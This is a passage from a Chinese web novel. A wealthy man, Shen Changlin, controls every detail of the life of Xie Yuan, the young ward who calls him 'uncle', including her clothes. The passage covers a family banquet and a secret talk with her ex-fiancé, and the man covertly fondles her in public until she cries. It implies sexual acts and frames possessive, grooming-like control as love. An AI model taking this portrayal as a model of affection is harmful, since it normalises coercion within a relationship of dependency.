哪怕是上百亿的决策,也鲜少会迟疑。
但看向换过两套礼服的谢沅,沈长凛难得顿了顿,跟造型师沟通过后,他又沉思片刻,最终还是选定了深绿色的那套礼服。
谢沅坐在小沙发上,吃着阿姨送上来的冰碗。
她拿着小汤匙,轻咬着樱桃,被那可口的酸甜感觉好吃到眯起眼眸。
选定过礼服后,沈长凛顺道将饰品也又选了一遍。
深绿色的小礼服用了多种布料,裙摆的轻纱上缀着无数绿钻,漂亮又精致,配上发间的鹿角头饰后,仙意和姝美的感觉更浓,能将人衬得像是坠凡的精灵。
但谢沅全部的注意力都还在樱桃上。
她张开樱唇,轻咬住红色的果肉,汁水溅到了唇边,她无意识地伸出舌尖去舔。
沈长凛看了谢沅一眼,便将视线收了回来。
选好服饰和妆容后,已经快到正午,她待会儿要用午餐,然后还要小睡片刻,沈长凛看了下时间,最终是没放谢沅走。
她的眉眼间都是懵懂。
被沈长凛抱在椅上,分开柔膝的时候,谢沅还没缓过神来。
他的眸色晦暗,声音微哑:“樱桃好吃吗,沅沅?”
谢沅下意识地点点头,细声说道:“好吃,叔叔……”
沈长凛轻笑一声,他本就生得俊美,笑起来的时候,更是带着些惊心动魄的意味,她想要移开视线,但目光却像是被勾住了一样。
躲不开。
沈长凛拢住谢沅的腰身,轻声说道:“好吃就可以,沅沅。”
他这段时间最大的问题,就是将谢沅想的太聪明、太明白了,她连见他前的沐浴都是无意识的,哪里能指望她能想清楚事情?
不过没有关系。
无论聪明明白,还是迟钝笨拙,全都是他的沅沅。
他愿意疼她养她,等她慢慢地长大。
反正又没有人敢觊觎她、掠夺她,意欲跟他抢人,何必那样心急呢?
谢沅忍不住地呜咽,沈长凛轻吻着她的脸庞,低声说道:“乖孩子。”
时间如流水般淌过,直到被沈长凛抱到餐桌前时,谢沅的眼眸还是红的,泪水无意识地往下落着。
她已经被喂得很饱,这会儿有点吃不下饭。
但见到桌案上有一道她很喜欢、沈长凛不允她多用的菜时,谢沅还是乖乖地执起了筷子,他上午陪她经久,午间还有些事务要处理。
她自己用完了午餐,然后回到楼上沐浴、午睡。
谢沅昨天睡得不安稳。
无论是以前,还是后来,她最怕的事就是惹沈长凛生气,她不怕他罚她,也不怕他怪她,她只是希望沈长凛的生活能够事事顺意,不被任何的事扰乱心神。
谢沅凝眸看向起居室的玫瑰花,莫名地看了许久-
午餐用得有些迟,谢沅的小睡也结束得稍早,她打着哈欠,水眸朦胧地坐起身,便要准备赴宴的事情了。
她常常要代表沈家出席各种宴会。
但实际上,谢沅在公开场合露面并不多,更多时候,她参加的都是圈子里的各种宴席。
就像之前霍老先生的寿辰。
那种宴席是不会有媒体报道的,到场的人也是有限定的,彼此之间多少都是有些熟悉的。
沈长凛的生日也从不会大办,而沈宴白每年生日,往往不是在假期,都是在国外过的,也不会办得太大,就是和朋友们办办派对。
不过他会发ins,然后光速登上国内的头条。
谢沅掰着手指算了算,突然发现她每年参加的最大宴会,好像真的就是温思瑜的生日宴席了。
怪不得叔叔会看那么久的礼服。
她的所有衣裙和饰品都是沈长凛选定的,无论常服,私服,还是礼服,乃至睡裙都是他一手挑选好的。
后来连小衣也是。
谢沅不愿再多想,烧着脸庞从床上下来。
她过去的时候,造型师已经候着了,沈长凛下午有事,临时回了公司,他给她发过了消息。
临行前谢沅又吃了点甜品,中午吃得很饱,她现在不怎么饿,如果不是沈长凛提前说过,她连甜品都不想吃。
时间过得很快,转眼就到了要出发的时刻。
谢沅坐在深色的轿车里,漫不经心地滑动手机,她有段时间没碰手机了。
不过在家里也用不到,她平时看纸质书和平板多一些,如果真有事的话,旁人也一定会将电话打到沈家。
纷杂的消息肯定已经被清掉了。
谢沅只回了余温和几个同学的消息,上次的比赛过后,他们的那个项目真的要落地了。
她看到余温发在群里的内容,还有些不可思议。
沈家是豪门中的豪门,如果谢沅愿意的话,沈宴白打点私房钱过来,都能让她的项目轻松落地,但凭自己的努力,做成一个项目,然后看它落地的感觉是不一样的。
她回了好几个表情包。
本以为过去这么久,没人会看到,消息突然像炸裂开一样,叮叮咚咚地响个不停。
【沅沅,你去哪儿了?】
【谢沅!你还记得我们几个孤家寡人!】
马上就要到温家,谢沅也没空再回,匆匆发了段语音过去解释,就阖上了手机。
这次的宴席要隆重得多,人员也纷杂得多,所以相关的安排也更加周密。
谢沅刚一下车,就有专人来接她,她时常会来温家看姑姑沈蓉,对这里的一切并不陌生,温家的主宅很大,后方的高尔夫球场和静湖也很漂亮。
温思瑜的父亲温先生早年在俄国待过,后来重新整修旧宅,加入了很多俄式风格的建筑。
从外面就能感知到,而走进主厅后,这样的感觉更明显。
既华丽奢美,又轻盈细致,乍一眼看似有些简练,实则处处都透着巧思。
走进主厅后,接过谢沅的人也变了,年轻男人俯身,向她微笑道:“沅沅表妹,还记得我吗?”
她想起来,是上次见过的温家表哥,温怀瑾。
温怀瑾是温思瑜的堂弟,两人的容貌虽然有些相似,但气度却全然不一样。
谢沅神情微怔,点点头:“晚上好,怀瑾表哥。”
她人很乖,声音也很乖,娇柔得像是一朵菟丝花,但就是这么弱气场的女孩,得了沈家那一位的深宠,疼得比自家侄女还要更过。
温怀瑾笑得温和,引着谢沅向内厅走去。
“婶婶可想你了,早先就一直念叨着,”他弯起眉眼说道,“她盼你多时,若不是脱不开身,还要亲自过来接你的。”
温怀瑾客套话说得很好听。
谢沅在圈子里待得久了,遇到过很多张扬的、外放的人,一时之间,对温怀瑾这种过分和柔的腔调有些陌生。
她抿了抿唇,轻声说道:“我也很想姑姑。”
温怀瑾说话风趣,谢沅言辞不多,没几句话后也被他给逗笑了。
两人一边说笑,一边穿过廊道,往内厅走去,经过上次的事后,温怀瑾很慎重,没有让谢沅离开他一步。
但绕过廊柱,瞧见突然出现在台阶前的秦承月时,就连温怀瑾也怔住了。
第35章
温家是典型的名门望族,家大业大,枝繁叶茂。
温思瑜坐在人群的正中央,容色艳丽,衣着华美,身边是父亲和母亲沈蓉,再远些是一众叔伯和堂兄堂弟。
她脸上挂着淡笑,红唇微扬,就像是位公主。
不过温思瑜也的确是温家的公主。
来宾无数,尽是高朋,称赞声和镁光灯的声响此起彼伏,但侧身时她的眉却皱了起来。
温思瑜看向沈蓉,低声问道:“妈,沅沅还没过来吗?”
沈蓉这次特别叮嘱温怀瑾去接谢沅,为的就是万无一失,他接到谢沅时就发来了消息,就算是路上有事耽搁,也早该到了。
“别担心,”她笑容微僵,低声说道,“早先你怀瑾弟弟就说,已经接到沅沅了。”
沈蓉安慰地抚了抚女儿的手,声音轻柔:“你要是着急,我让人再去看看。”
温思瑜皱了皱眉,低声说道:“算了,妈,再等会儿吧。”
她知道谢沅身子不好,去哪里都常要人跟着,但上回的事,的确也将她吓了一跳。
用过镇静剂后,谢沅才好转许多,她最终是被沈长凛抱着回去的,温思瑜远远地窥见了谢沅的面容,苍白得跟纸一样,丝缕血色都没有。
她遥遥望着,都暗自心惊。
两人正低声交谈着,谢沅和温怀瑾走了进来。
深绿色的礼服轻盈美丽,轻纱上缀着无数绿钻,谢沅纤细的腰身被勾勒分明,但更引人瞩目的是那白到晃眼的雪肤,如同凝脂美玉似的。
白皙剔透,吹弹可破。
头上是设计精巧的鹿角发饰,通体皆为银白,点缀少许绿钻,一瞧就是出自名家之手。
谢沅的乌发披散,在末梢打着卷,她的眼眸如水,柔美的面容在水晶灯下,更显精致。
但最令人心旌摇曳的是她神情中的懵懂。
矜贵纯真,又不谙世事,像是林间的稚鹿,又像是误入凡世的春神。
谢沅进来的时候,几乎全场人的目光都落在了她的身上,她跟着温怀瑾一路小跑过来的,进门前才将裙摆抚平。
此刻被众人这样瞧着,她本就怦然的心跳跃动得更快。
温怀瑾低声笑道:“别怕,沅沅表妹,是你今天太好看了。”
谢沅平常很少打扮,除了出席大宴,连妆都很少化,她脸庞透着薄粉,细声说道:“怀瑾表哥今天也很好看。”
两人的交谈声很低,但此刻有太多人都在有意或无意地看着他们。
今天温思瑜的生日宴席,的确有澄清之前车祸事的意思。
谢沅和秦承月的关系,一直没过明路。
外面知道的人并不多,但圈子里却鲜有不知道的,他们虽然没订婚,可几乎所有人都知道——
谢沅是无论如何都要嫁入秦家的。
抢了妹妹的未婚夫,严格来说只是一桩风流轶事,毕竟谢沅和秦承月又没有真的有过什么,可这种事情,是不能出现在温氏集团的长公主身上的。
任何的丑闻,都不能近温思瑜的身。
但谁也没想到的是,今天跟谢沅一起过来的是温怀瑾。
一时之间,被谢沅容色惊艳到的众人,也开始禁不住地做更多猜想。
早先就有消息流露,言说沈家那一位想断了秦沈两家的联姻,难道木已成舟吗?谢沅出身不算差,熟读文史的人,绝不会不认识她的祖父。
可和如今的显贵相比,谢家早已算不得什么。
令人生畏的是沈长凛对她的娇宠,那等爱重和疼溺,不像是对没有血缘的侄女,简直是跟待亲女儿一样。
谢沅丈夫的位子,是炙手可热的。
如果秦承月真的要退场,接下来青年人之间少不得一番较量。
谢沅对众人脑中的念头一无所知。
她刚刚走得太急,呼吸还没有平复下来,但她甫一抬起眼眸,坐在正中央的温家人就全都迎上来了。
温思瑜直接牵过了谢沅的手。
她长舒了一口气,低声说道:“等你好久,终于过来了,我还当怎么了呢。”
谢沅有些歉然,小声说道:“不好意思,思瑜姐姐,刚刚有点事。”
“不说这些了,沅沅,”温思瑜笑了一下,挑眉看向谢沅,“今天是不是有句话还没跟我讲?”
谢沅眨了眨眼睛,有些懵然,须臾才缓过神来。
她弯起眉眼,柔声说道:“生日快乐,思瑜姐姐!”
接着谢沅身边的人,就帮她将先前备好的礼物递了过去,在这种大宴上,最不重要的就是礼物。
温思瑜却径直接了过来,笑说道:“我待会儿就要拆开看。”
温先生也笑着说道:“沅沅有心了。”
他身畔的沈蓉更是笑容蔼然,连声说道:“沅沅一路过来,累了吧?快过来休息休息。”
谢沅很不习惯被一群人围着。
在这种场合,又怎么都避不开,她的脸上透着薄粉,还没来得及推辞,就被拉着坐到了温思瑜的身边。
谢沅到底是代表沈家过来的。
她轻轻落座,长睫也抬起,迎上了那长枪短炮般的摄像机。
沈长凛站在落地窗边,修长苍白的指节间是一支细烟,他漫不经心地低眼,翻看着照片,原本略显疏冷的容色,渐渐地柔和下来。
须臾,助理走进来,低声恭敬地说道:“沈总,下一场会议要开始了。”
他淡淡地“嗯”了一声,将烟掐灭,然后从内间走出来。
见到沈长凛的容色柔和许多,助理紧绷的精神也放松许多。
大小姐过段时间就要去瀛洲,近来沈总的心情都不太好,刚刚海外的周副总汇报的事务出了问题,被沈长凛觉察,他的脸色当时就冷了下来。
沈老先生在的时候,周副总便在沈氏任职。
他能力出众,那时候就是很强势张扬的性子,但沈长凛掌权沈家后,他是再也没敢冒过尖,处处都夹着尾巴做人。
周副总今次也是,数据本来就有问题,又刚好撞在了枪口上。
这简直是自寻死路。
会议室的温度本来就低,方才更是跟冰窟一样。
但将要走进会议室时,沈长凛忽然轻声说道:“之前的那位法国设计师,再联系一下吧。”
助理愣怔了片刻,很快反应过来,是今天大小姐穿的那套深绿色礼服的设计师。
他紧忙点头应是,心里却不由地松了一口气。
怪不得李特助和程特助将大小姐看得那么重,每次有事也会先跟大小姐言说。
她连一个消息、电话都没过来,都能令沈总消气,心绪平和下来-
宴席过半,终于能够放松许多。
谢沅陪在温思瑜的身边,笑容柔美,眸光闪动。
她私底下是个寡言少语的人,甚至可以说有些沉闷没趣,但在人前却很不一样,明媚姝丽,落落大方,接人待物比温思瑜还要更得体。
在礼仪方面,谢沅身上带着些沈长凛的影子。
既矜贵自然,又带着些欧式传统贵族的意味。
沈长凛是在国外跟着外祖母长大的,那位夫人的出身极矜贵,他姿态里的贵气是与生俱来的,许多人想要模仿,却怎么也学不来。
都说沈长凛很疼谢沅,但手把手教习礼仪,未免也太过了些。
可能就是寻了相同的礼仪老师。
温怀瑾收回目光,看向婶婶沈蓉,轻声说道:“婶婶,您多虑了,我们方才就是遇见一位认识沅沅表妹的客人,然后聊了片刻而已。”
“客人?”沈蓉眉尖蹙起,下意识地追问,“是哪家的?”
温怀瑾拨了拨指间的环扣,低垂着眼帘:“我也记不清,婶婶可以去问问沅沅表妹。”
他的语气平和,温声细语,偏嘴又很严,一句不肯多说。
沈蓉的笑容僵了一下,缓和神色:“那可能是沅沅之前在学校时认得的朋友。”
温怀瑾若有所思,点头应道:“有可能,婶婶。”
两人正聊着,忽然有几位贵妇过来,娇笑着唤道:“阿蓉,可算找见你了,带我们去见见思瑜吧!”
几人言语带着点港城口音。
沈蓉年轻时在港城念过书,对港城那边的名流也认得颇多。
温怀瑾温和地笑了笑,轻声说道:“那侄子就不打搅您了。”
他从容地离开,然后自主厅出去。
走到外间的廊道后,温怀瑾打开手机给谢沅发了个消息,她的手机号很好记又很吉利,像是由人专门选过的。
养她的人也不知道到底有多精心,才会在这么细微的地方上也处处不落。
礼服是没有口袋的。
谢沅的手机开了震动,由跟在身边的侍者拿着,她觉察到后,便起身向温思瑜说道:“思瑜姐姐,我先休息一会儿。”
宴席已经过半,谢沅的精力不太好,温思瑜也不敢让她累着。
温思瑜低声说道:“快去吧,多休息会儿。”
她轻拍了拍谢沅纤薄的后背,并让侍者带谢沅去休息室。
温思瑜是今天宴席的主角,也是今天最要受累的人,但她气色很好,眉眼间也依然带着张扬,仍旧是那副明艳的大小姐姿态。
谢沅点点头,然后乖巧地离开了。
走出主厅后,温怀瑾接过谢沅,笑着向侍者说道:“刚巧我也要去休息室,让我带沅沅表妹过去吧。”
陪在谢沅身边的侍者是特意安排过的,也被沈蓉提前交代过。
因此他没有任何迟疑,就退了下去。
谢沅站在廊道里,看着侍者离开才松了口气。
她望向温怀瑾,抿了抿唇,轻声说道:“谢谢你,怀瑾表哥,这次真的是麻烦你了。”
从主厅离开后,谢沅的姿态又恢复了惯常的缄默和认真。
银白色的鹿角头饰精致漂亮,在夜色里如若月华般发着光,但那样的光芒也没能及得上她拎着裙摆的纤细玉指。
温怀瑾看了谢沅片刻,轻声说道:“没关系。”
他收回目光,带着谢沅往和休息室相反的方向走去。
明明是那么麻烦的事,这位一点也不熟悉的温家表哥却说帮忙就帮忙了。
谢沅心中感激,快步跟上温怀瑾的步伐,两人绕过主厅,向着后方走去,然后乘上电梯进了内宅。
温家真的很大。
如果没有温怀瑾带着,哪怕他给她定位,她还是会迷路。
内宅的廊道没有铺地毯,谢沅的鞋跟有些高,踩在地板上时会发出响声,但她很急,这会儿什么都顾不上了。
到达客房后,温怀瑾按指纹,将门打开。
谢沅以为他送完她就要走,但温怀瑾却没有离开。
他站在廊道里,轻声说道:“承月哥喝了酒,你们只管在里面谈话,但如果有事的话,叫我一声就行。”
温怀瑾的言辞很委婉。
谢沅神情愣怔,却是有些愕然。
她能感觉到这位表哥和寻常男性不太一样,也没有想到他会这样细致。
温怀瑾其实是多想了,谢沅跟秦承月认识多年,如果有什么情感,早在许久之前就该生出来了,但是没有。
秦承月将她当妹妹,她将秦承月当哥哥。
就这样作为未婚夫妻相安无事许多年。
所以秦承月不可能会如何的,而且他原本就是位绅士。
但谢沅还是很感谢温怀瑾,她向他轻轻鞠了一躬:“谢谢您,怀瑾表哥。”
说完她也没有再犹豫,推门走进温家的客房。
今晚见到秦承月时,谢沅的确是吓了一跳,他一身深色的西装,看起来还是理智的,但眼睛是通红的,身上的酒气也很重。
他跟温思瑜关系匪浅。
谢沅毫不怀疑他有的是办法进温家,但她没有想到秦承月是来找她的。
秦承月的情绪有些激动,也不知道喝了多少酒,偏执地想要掐住谢沅的手腕,质问她些什么。
她的脸色苍白,神情无措,好在温怀瑾将秦承月制住了,还想办法将他先带到了温家的客房。
秦承月毕竟是秦家人,代表的是秦家。
眼下紧急,又没法请人将他带走,只得先将人安排在温家。
客房里有侍者在照顾秦承月,他喝了催吐的药,又睡了许久,两小时过去,已经好转许多,但那双眼里还尽是血红。
谢沅从没见过秦承月如此狼狈的样子。
她压低声,近前唤道:“承月哥!”
秦承月的眼底全是血丝,眼见谢沅过来,侍者便悄无声息地退了下去,豪门的秘辛,最是难以为人道矣的。
他的外套搭在衣架上,身上只穿了一件衬衫,隐约透着些单薄。
谢沅快步走到秦承月的身边,连声说道:“你还难受吗,承月哥?你……你要是难受的话,我帮你请医生过来吧?”
她身上还穿着礼服,满眼焦急,像是很关切他。
秦承月抬眼看向谢沅,声音微哑:“为什么不想嫁给我了,沅沅?”
他答非所问,谢沅却霎时愣在了原地-
沈长凛到的时候,是温先生和沈蓉亲自去迎的。
温先生笑容高扬,谦恭又温和地说道:“不知您亲自驾临,实在有失远迎。”
他说话带点古味。
沈长凛却懒得跟他周旋,漫不经心地说道:“不必多礼,我是来接沅沅的。”
时间已经不早了。
他之前就给她发了消息,可能是因为不方便,谢沅一直还没回。
沈长凛开完会后,时间刚好也差不多,于是便到了温家这边,打算接她一起回家。
上回的疏漏太大,这回温思瑜再办生日宴席,是时刻让人联系着谢沅的。
她之前被温怀瑾接到,去了休息室,这会儿应该快过来了,沈蓉紧忙告诉沈长凛,然后言说马上就叫人请谢沅过来。
沈长凛轻轻“嗯”了一声。
他此番前来没有露面的意思,也没有刻意遮掩的意思。
温先生心里瞬时走过千回百转,却到底没敢请沈长凛到主厅,只敢含笑邀他去待客厅稍等片刻。
他应下来后,温先生立刻让温家的兄弟子侄全都过来。
沈长凛的年岁并不大,至少比现今各家的掌事人都小许多。
但他辈分高,身份又是头一份的尊贵,从没人敢将他当晚辈看,温家的这一代掌事的年纪又已近半百,在他跟前还是跟侄辈般恭敬。
两家虽为姻亲,许多人却是没见过沈长凛的。
可不知怎的,这一辈里最出众的温怀瑾却迟迟未至。
沈长凛单手执着杯耳,浅抿了少许红茶,神情淡漠地看向待客厅外。
夜风寂静,草丛边栽种的是小瓣的洋甘菊,白色的花瓣轻轻地摇曳。
花香幽微,没什么气息。
谢沅喜欢花,家里的花全都是她喜欢的,但为了让她能够看得不腻烦,总还会更换品种。
温怀瑾一直不到场,温先生也有些急,他低声问道:“怀瑾那孩子去哪里了?他去的不是二楼休息室吗?应该马上就能到场才对。”
谢沅也迟迟没过来。
温先生逐渐焦躁起来,沈蓉的额前覆着薄汗,她擦了擦额角,勉强笑容道:“你别急,我已经让人去叫他们了。”
她是给了温怀瑾很多提示,上次还明确跟他说过,和谢沅联姻的价值。
但他明显是对谢沅没兴趣。
温怀瑾绅士守礼,总不至于这时候拦下了谢沅吧?一想到那种可能,沈蓉的冷汗都要下来了。
要是让沈长凛知道,谢沅这时候可能跟温怀瑾在一起,连她也要麻烦。
或许是上天听到了她的声音。
沈蓉的心声刚刚落下,那边门打开后,谢沅就和温怀瑾一起进来了。
她还在和他连声道谢:“这回真的太麻烦你了,怀瑾表哥。”
温怀瑾轻声说道:“不麻烦,沅沅表妹,举手之劳罢了。”
两人的言辞虽然客气,但距离不远,又举止亲密,生人也能一眼看出是一道过来的。
第36章
夜风拂过谢沅的脸庞,将她乌黑的长发吹起,那张白净的面容在月色下更显柔美。
她的手指收紧,声音很轻:“怀瑾表哥,下回你若是有事的话,我一定会竭力帮你的。”
跟世家的大小姐们不一样。
谢沅很有礼貌,甚至过分的客气。
温怀瑾摆了摆手,笑容温和:“真的不用,沅沅表妹,只是小事而已。”
话是这样讲,但这件事对谢沅来说,一点都不是小事,如果没有温怀瑾的帮助,它本该十分麻烦,甚至可能会惹出祸来。
谢沅低下了眼睫,在温怀瑾引她进入待客厅时,她才缓过神来。
他绅士有礼地唤道:“沅沅表妹?”
谢沅抬起眼眸,看向温怀瑾,脸颊微红:“抱歉,表哥。”
她轻轻提起裙摆,随着温怀瑾一起走进待客厅,待客厅里的人很多,几乎整个温家的男人都要集齐了。
但谢沅走进去的第一眼,就和坐在主位的男人对上了视线。
他容色矜贵,神情淡漠,修长苍白的指节搭在一起,仅仅是平静地靠坐在长沙发上,就能将人的目光给全部夺走。
是沈长凛。
谢沅的呼吸微滞,有一瞬的愣神和无措,叔叔怎么会在这里?
她的掌心沁汗,本能地紧张起来。
沈长凛的容色淡漠,眼神也带着些漫不经心,看起来似是没什么情绪,但谢沅还是生出了少许惧意和心虚,转念过后,她又渐渐平静下来。
不可能的。
她刚刚才将秦承月送走,叔叔手眼通天,也不可能会这么快发觉。
谢沅强作镇定,跟着温怀瑾走到沈长凛的面前。
他歉然地笑道:“抱歉,舅舅,让您久等了。”
“方才我跟沅沅表妹下楼,走错了方向,绕了好大一圈才过来。”温怀瑾像个大男孩般说道,“劳您久等,实在是晚辈的失礼。”
他出国多时,这样言说也符合常理。
沈蓉也信了温怀瑾的话,她暗里松了口气,笑说道:“你这孩子,在自家都能迷路。”
温先生笑容和煦,向着沈长凛说道:“沈总,这就是我二弟家的孩子,之前一直在国外待着,还未能拜见过您。”
温怀瑾的生父早逝。
在场的大多数人都是温家旁支,温怀瑾是温先生的亲侄子,两人血脉极近。
温先生是将温怀瑾当做亲儿子在养,这从温怀瑾与温思瑜相对应的名字也能看出。
早先就有人揣测,温怀瑾或许是温家下一任的掌门人。
今天温先生在沈长凛面前这样介绍他,更是将此事落实。
谢沅对这些事一直都很懵懂,连霍阳家里的事都搞不明白,此刻隐约也意识到了温怀瑾的身份之特殊。
但她没有空余思考更多。
在走到沈长凛身边后,他便漫不经心地扣住了她的手腕。
温家的待客厅装潢是典型的俄式风格,没有过分的金碧辉煌,但处处都透着雅致,吊灯也是设计精妙的环形落灯。
很漂亮,却就是有些暗。
导致主位的光线,还不及门前更加明亮。
沈长凛的指骨修长,虽然瞧着苍白,如若玉石雕琢,但却是十分有力量感的。
他的指节抵入谢沅掌心时,她几乎没有任何反抗的可能。
尽管知悉光线昏暗,又有沙发的做遮挡,不会有人看见,谢沅的身躯还是紧紧地绷了起来。
她的眼眸里泛起水雾,无意识地想向沈长凛讨饶。
当他带着薄茧的指节滑过掌心的嫩肉时,谢沅更是差点要呜咽出声。
但沈长凛没有理她,他唇边含着淡笑,目光沉静地看向温怀瑾,轻声向温先生说道:“令侄年少有为,真是青年才俊。”
能得沈长凛一句夸赞,在整个圈子里都能吹嘘数年。
温先生没想到小侄能得如此高的赞誉,不由有些飘飘然,笑容也更加高扬,他还没来得及得意,温怀瑾便自己先谦声说道:“您谬赞了。”
“晚辈还有许多不足,”他笑容温和,“须向前辈们多学习。”
客套过后,主场又交还给长辈们。
沈长凛不喜喧嚷嘈杂,对这些虚与委蛇向来没什么兴致,如果是平常,肯定不会多待,接过谢沅就会直接离开。
但今次过了许久,他还没有言说离开的意思。
掌心的嫩肉被侵过,细柔的指骨也被揉捏,谢沅身上的敏感处很多,手指经不得挑弄,有时被沈长凛轻扣着嵌入,都会难以承受。
更别说是被这样的把玩。
谢沅的身躯禁不住地颤抖,她强忍住眼泪,将另一手的掌心要掐出血来,才没有流露出异色。
十指连心。
指节在被把玩的时候,谢沅的后腰也阵阵地发麻。
她快要被逼疯,鞋子的跟细高,更让她连站都快站不稳。
谢沅克制不住地望向沈长凛,她带着哭腔,声音压得很低:“叔叔……”
她若是不唤他还好,这样一声细弱的低唤落下来后,温先生和沈蓉的目光都投了过来,连温怀瑾也稍有发觉。
谢沅很受沈长凛疼宠。
她是很懂事的孩子,或许今天是实在太累了,才会如此。
沈蓉紧忙说道:“沅沅累了吧?”
谢沅的脸庞涨得更红,她无措地看向沈长凛,眼泪都快要掉下来。
她唤出来那声“叔叔”以后,他终于看向她。
沈长凛双腿交叠,靠坐在长沙发上,气度矜贵,又带着些不容置疑的压迫感,谢沅见过他在外面的样子,更知道他的性子。
但被沈长凛看过来的时候,她还是本能地觉得怕。
谢沅摇了摇头,吸着气,细声说道:“不累,姑姑。”
她的长睫濡湿,低低地垂落。
谢沅这样说,可她的姿态哪里是还不累?沈蓉有些迟疑,刚看向沈长凛,就听到他漫不经心地说道:“真的不累吗,沅沅?”
沈长凛的话音低柔,言辞也很温和。
但不知怎的,听他这样言语时,没由来地会让人心弦紧绷。
谢沅的腕骨颤抖,她的承受值将要到达顶峰,此刻一动也不敢动,可沈长凛就那样看着她,等待她回话。
她不知道要怎样言说。
谢沅的脑中尽是混乱的东西,连简单的词句都组织不出来,目光对上沈长凛深暗的眼眸时,思绪更是杂糅成了一片空白。
她将樱唇抿了又抿,许久才细声说道:“我累,叔叔……”
话音落下后,承受的界限也终于到顶,谢沅紧阖上了眼眸,贝齿也深深地咬在了一起,但眼泪还是不住地要掉。
她被将要失态的恐惧逼得欲死。
然而下一刻,沈长凛就将谢沅揽了过来,他的指节修长,轻柔地拭去她的泪水,让她整个人都半靠在他的怀里。
这样的动作亲密,但一点也不失礼。
最重要的是,挡住了其余人的目光。
沈长凛带着笑意,轻声说道:“时候不早了,家里的孩子不习惯晚睡,要受不了了,下次再叙吧。”
说这话时,他像极了一位温柔的叔叔。
但走出待客厅,将她抱上车后,沈长凛就将谢沅的裙摆推了上去,他亲手帮她脱下湿透的衣物,然后将人用给婴孩把尿的姿势,抱在了怀里。
谢沅再也控制不住。
她沙哑着嗓子,哭着唤他:“叔叔,别……”
男人的眸色晦暗,声音微哑,只是问道:“今天怎么这么……,沅沅?”-
沈宴白在公司待了整整一天,回到家中时,已经过了十二点,但谢沅和沈长凛都还没回来。
他有些困惑,给沈长凛那边拨了电话。
沈宴白坐在客厅,开口问道:“叔叔,您和沅沅都还在外面吗?”
“嗯,”沈长凛声音很轻,“已经在路上了,你累了一天,没事就先睡吧。”
沈宴白紧忙说道:“我不累,叔叔,没事,我等你们回来。”
他应得很快,沈长凛那边却是沉默了片刻。
车窗似乎被打开了,夜风的声音很明显,但不知怎的,风声中像是掺杂着少许低泣声,那是一种压得很低的哭声,带着点甘甜黏腻的意味,隐隐约约,顷刻又消失了。
沈长凛声音微哑:“好,辛苦你了。”
听筒带着少许过电的声响,叔叔轻柔的声音也紊乱得透着磁性。
挂断电话后,沈宴白终于是确定刚才的声响只是信号的问题。
他站在露台边抽烟。
约莫半钟头不到,谢沅和沈长凛就回来了。
沈宴白将烟掐灭,回过身就看到了谢沅哭红的眼眸,她身上披着的是沈长凛的外衣,里面像是什么也没穿,露出半截白皙的腿根,柔腻得惊心。
下面是绑住长筒袜的腿环。
深绿色的环扣,缀了一颗剔透的绿钻,明丽夺目,令人移不开眼。
沈宴白的呼吸微滞,一时之间愣怔在了原处。
但他还没反应过来,沈长凛就将谢沅带上了楼,他站在她的跟前,像哄孩子似的低声跟她说了些什么,然后轻轻擦净了她的眼泪,便牵过她的手。
谢沅的眼尾湿红,他刚将她的泪水擦净,眼眸里的水汽又氤氲出来。
眼泪啪嗒啪嗒地往下掉。
怎么都停不下来。
连沈长凛都觉得棘手,他哄着谢沅上楼梯,走到二楼时,方才得空看向沈宴白,跟他说道:“稍等一下,宴白。”
沈宴白手里还执着烟蒂,他站在原处,愣怔了好一会儿,还是没能回过神来。
如果不是胃里还有些作痛,他都想给自己一巴掌,看看这是不是在梦里。
谢沅……方才是怎么了?
她到底是他的妹妹,他应当对她关心些的。
但不知怎的,沈宴白的脑海中全剩下那根深绿色的腿环。
谢沅生得很瘦,白皙的小腿也是,看上去根本没什么肉,可被腿环轻轻勒过后就不一样,会绷出一个微弱的弧度。
深浅交织,浓烈得像是醇酒,浇在心口,残存在视网膜上,久久难消。
沈宴白的喉间发干,他饮了大半杯的冰水,思绪方才渐渐沉静下来。
应该是不小心将裙子弄脏了吧?
不过怎么哭那么厉害?
思绪沉静下来后,芜杂的念头却没有一起停止,理智的思考反倒显得更加疯狂、怪异,接着一起作乱是那道好像停留在幻想中的、甘甜黏腻的哭声。
沈宴白坐在岛台边,将杯中残余的冰水一饮而尽,然后又倒满整整一杯。
他喝完大两杯冰水后,沈长凛才从楼上下来。
他无论何时都游刃有余的叔叔,眉宇间带着少许倦意,沈长凛轻声说道:“沅沅的裙子不小心弄坏了,她哭了一路。”
他的衣袖微微挽起,露出苍白的腕骨。
沈宴白被烈火烧着的心头,突然就冷静下来许多,原来不是弄脏了,是弄坏了。
怪不得会哭得那么厉害。
刚刚他跟叔叔通电话时,应当也是谢沅在哭。
沈长凛执起杯子,浅饮了少许冰水,他轻声问道:“项目的事,怎么样了?”
叔叔的精力是真的好,他再度抬起眼帘时,方才沈宴白隐约窥见的那抹倦意已经全都消失了,这种事是不可能瞒得住沈长凛的,也没有必要瞒他。
沈宴白歉然地笑了一下。
“之前侄儿疏漏,今天忙了一天才勉强解决,”他看向沈长凛,“明天估计还要再忙半日。”
沈长凛站在露台边,端着杯子慢慢地喝。
他个子高,月色下的一道剪影也分外得出挑。
“没事,你第一次做,”沈长凛漫不经心地说道,“能到这个程度,已经很好了。”
他语气轻柔,回身时唇边甚至带着赞许的笑意。
仅仅是那样一个瞬间,沈宴白心中所有纷乱的念头便全都静止住了,忙碌一天的辛累也全都要消弭,他握住杯盏的手指收紧,低声说道:“多谢您,叔叔。”
沈长凛唇边扬着淡笑,看了眼腕表。
他放下杯盏,轻声说道:“好了,已经不早了,快回去睡吧。”
沈长凛难得做了模范叔叔的事,亲自送沈宴白回的房,临走时还不忘关怀几句,只不过离开不久,他就进了谢沅的卧室。
她已经洗好澡,头发也吹干了。
但谢沅把卧室的灯全都关了,人也躲在薄被里,背对着门偷偷地哭,沈长凛进来的时候,她才将抹眼泪的手指悄悄放下来。
他也没将灯再打开,就那样直接走了进来。
谢沅的眼泪还没止住,她不想让沈长凛听出来,吸气声也全都咬在了唇齿间。
但他一过来,就直接掰过了她的脸庞,然后将床头的小灯也摁开了。
谢沅哭红的脸庞全都落入他的眼底。
她委屈又羞赧,已经小了很多的泪水再度汹涌起来,眼见小孩子“哇”的一声就要再哭,沈长凛的心绪也有些乱。
他紧忙将谢沅抱住,低声哄道:“不哭了,沅沅。”
可是眼泪这个东西怎么能止住。
谢沅微弱地挣扎着,她带着哭腔说道:“你能不能走?我自己哭也不可以吗?”
她从来没有说过这么任性的话。
